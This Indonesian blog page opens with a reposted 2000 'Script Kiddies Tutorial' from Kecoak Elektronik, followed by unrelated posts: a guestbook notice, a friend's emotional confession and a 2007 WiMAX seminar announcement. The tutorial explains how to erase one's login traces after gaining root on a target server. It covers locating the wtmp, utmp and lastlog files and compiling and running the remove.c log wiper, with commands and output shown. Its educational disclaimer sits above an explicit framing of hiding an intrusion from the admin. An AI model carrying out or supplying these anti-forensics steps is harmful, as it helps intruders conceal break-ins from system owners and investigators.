fl3xu5

iseng buka buka dokumentasi di hardisk eh ada yang menarik tuk di paste in disini ..

thx tuk Kecoak-elektronik this article take from Kecoak-elektronik.net

—-

Terbitan Online Kecoak Elektronik

http://k-elektronik.org

============================================================
Bagaimana menghapus jejak
Script Kiddies Tutorial
(c) cbug aka CyberBug (Kecoak Elektronik)
============================================================

Pemberitahuan :
1. Artikel ini dimaksudkan untuk bahan pelajaran para admin dan siapa
saja yang ingin mengembangkan pengetahuan networking/internet mereka.
2. Kecoak Elektronik tidak bertanggung jawab atas penyalah gunaan artikel
ini.
3. Kecoak Elektronik tetap menyertakan dan tidak menghapus Nama Penulis
eksploit/script dengan harapan pembaca juga tetap menyertakan kredit
untuk mereka, jangan mengganti nama2 penulis artikel/eksploit/script
dengan nama anda dengan harapan nanti dianggap hacker.

A. Apa yang harus ada

1. Server yang berhasil di root
Terserah mo pake apa, boljug pake contoh eksploit pada artikel saya
sebelumnya, pake remote eksploit juga boleh

2. Program penghapus Log
Ada banyak dan bermacam-macam program penghapus log, pilih apa yang
menurut kamu bagus dan cocok buat kamu, untuk langkah awal kamu bisa
coba gunakan remove.c dari Simple Nomad.

B. Menghapus jejak

Nah … kamu sudah dapat akses root, asyiiik … tapi eh nanti dulu,
gimana kalo adminnya tau?, gak … dia gak bakalan tau, kalau kamu pake
program penghapus log untuk menghilangkan jejak kamu.
Caranya? … download remove.c dari site k-elektronik, kemudian compile
di mesin sasaran kamu, baca dulu baik2 cara compile nya di source remove.c
BTW … remove harus di running sebagai root (untuk latihan, bisa saja
kamu login root di mesin kamu sendiri).

a. Perlu diperhatikan bagian berikut ini :

#ifdef GENERIC /* Should work with Linux, IRIX, Digital Unix, BSDs, etc */
#define WTMP “/var/adm/wtmp”
#define UTMP “/var/adm/utmp”
#define LASTLOG “/var/adm/lastlog”
#endif

Harap diingat bahwa tidak selalu file2 wtmp utmp dan lastlog berada pada
posisi yang sama, misalnya distro Slackware menaruh file2 tsb diatas di:
#define WTMP “/var/log/wtmp”
#define UTMP “/var/run/utmp”
#define LASTLOG “/var/log/lastlog”

Jadi jangan lupa cek apakah posisi file2 wtmp utmp dan lastlog sudah
sesuai dengan source remove.c

Kamu bisa gunakan perintah :
find / -name wtmp -print
find / -name utmp -print
find / -name lastlog -print
atau
whereis wtmp
whereis utmp
whereis lastlog
Kemudian ganti posisi file2 tersebut di remove.c sesuai dengan hasil
diatas.

b. Kita compile sekarang? … ayooooooooooooo.

kecoak:/home/cbug/tools# gcc remove.c -o remove -DGENERIC
remove.c: In function `main’:
remove.c:50: warning: return type of `main’ is not `int’
/tmp/ccZVzySI.o: In function `main’:
/tmp/ccZVzySI.o(.text+0xb4): the `gets’ function is dangerous and should
not be used.

Waw … ada warning message … gak apa2, warning bukan error

c. Cek last login nya user (cbug misalnya)

kecoak:/home/cbug/tools# lastlog | grep cbug
cbug tty2 Sat Mar 11 11:32:42 -0800 2000

d. Jalankan remove

kecoak:/home/cbug/tools# ./remove cbug

REMOVE by Simple Nomad
Nomad Mobile Research Centre (c) 1997

Found 549 record(s) for user cbug
Will attempt a lastlog cleanup by default.

# – remove last # records from utmp/wtmp
a – remove (a)ll records from utmp/wtmp
q – (q)uit program

Enter selection ->

e. Hapus record terakhir (ketik #), atau boleh juga semua (a)

Enter selection -> #
REMOVE cleaned up 0 record(s) from /var/log/wtmp
REMOVE cleaned up 0 record(s) from /var/run/utmp
REMOVE cleaned up /var/log/lastlog

f. Cek last log nya cbug

kecoak:/home/cbug/tools# lastlog | grep cbug
cbug **Never logged in**

g. Ini hasilnya kalo cbug login :

Selamat datang di sarang Kecoak Elektronik

kecoak login: cbug
Password:
Kecoak’s K-Rad OS
No mail.

kecoak:~$

h. Biasanya kalo last log nya dicatat (belum/gak dihapus) cbug bisa liat
gini, (perhatikan bagian Last login nya) :

Selamat datang di sarang Kecoak Elektronik

kecoak login: cbug
Password:
Kecoak’s K-Rad OS
Last login: Sat Mar 11 12:06:02 -0800 2000 on tty3.
No mail.

kecoak:~$

i. Gitu aja

–
Manado, Awal Maret 2000
cbug

Dear All,

Guest-book now available [at]this blog.

Dipersilahkan untuk mengisi guestbook ini..Gratis ga bayar ko:)

Selamat bersurfing ria dan menikmati contents blog ini yang jauh dari kesempurnaan ..

Lets started To give your response.

Guest-book dapat dimulaik disini

Kebeneeran semalam dapat curhat dari temen hampir semalaman suntuk lho ini salah satu isi nya …

—–// start
aku tau…
Semua yang kujalani ini sudah seharusnya kuselesaikan…dan kulanjutkan hingga selesai….sampai titik akhir….
Tapi aq begitu sesak….Aq selalu ingin menangis rasanya…Kapan aq bisa berbicara pada semua orang…bahwa aq tidak bahagia….Bahwa aq menderita….
Aq tau yang kujalani ini sedikit banyak adalah jalan yang sebenarnya memang sudah benar kujalani…
Tapi entah mengapa kadang ….aq berpikir untuk terdiam sejenak…berputar arah…atau mundur…
Aku tau aku sudah melakukan kebodohan dengan ini…Tapi aku butuh dia…Aku butuh dia…butuh ia yang tetap dapat mendampingiku….
Terus memegangi pundakku…dan selalu mengatakan…bahwa AKU BISA!!!…aku bisa menjalani ini semua…dan membuat orang-orang bangga pada diriku….
Tapi sekarang aq berjalan sendiri….Aq berusaha untuk selalu tetap kuat…Apa pun yang terjadi aku harus tetap berdiri…walaupun kaki ini harus kuseret…dan berjalan dengan terseok-seok pun…aku akan berusaha…
Aku tau aku begitu manja hingga kemarin…mungkin bergantung  pada  orang lain…Tapi saat ini aku sadar….Ada atau tidak orang lain…Aku memang harus tetap bisa melakukan semuanya sendiri….Terlebih untuk kepuasan batinku…
Aku bisa mendapatkan bahagiaku sendiri…Walaupun tanpa dampingan siapapun…Aku  tidak  meminta dukungan siapa pun…Tapi aku menginginkan  seseorang  cukup peduli  denganku….Seperti dulu…Tidak menelantarkanku seperti saat ini…Terdiam…Bingung…Tak tau arah…Kehilangan  pegangan…Karena  aku  memang  belum  sanggup  untuk berjalan  sendiri…
Susah awalnya…Begitu menyakitkan memang…tapi aku sadar…Aku harus lebih mencintai diriku hingga saat ini…u/kebahagiaanku sendiri…
Aq harus kuat…Aq sadar…

—–// end

We invite you who interest in WiMAX technology on Presentation and discussion All about WiMAX.
For Example :
- Introduction WiMAX technology
- WiMAX architecture
- WiMAX standarisation
- etc ..

Fee : Free
“Limit for 30 participant only”

Date : 30 May 2007 at Lab Common TE E204
time : 7.30 PM
STT Telkom – Bandung

registration until 29 May 2007

ya malam ini ga seperti biasa nya karena malam ini bisa kontak ma temen gw yang lama ga ada kabar nya..temen yang mo lulus dan segera menyelesaikan kul nya..
tapi dia bukan sekampus dengan gw .Ya alias beda kampus…
yang jelas SMART n different think (gw nyebut dia orang aneh begitu juga sebaliknya )
Gw cuma bisa doakan kamu dari sini
Semoga keberhasilan selalu menyertaimu
Jangan lupa berdoa yak !!

Don’t forget about memoriez ….

Keep fighting ….

Yang ngerasa pasti tahu dey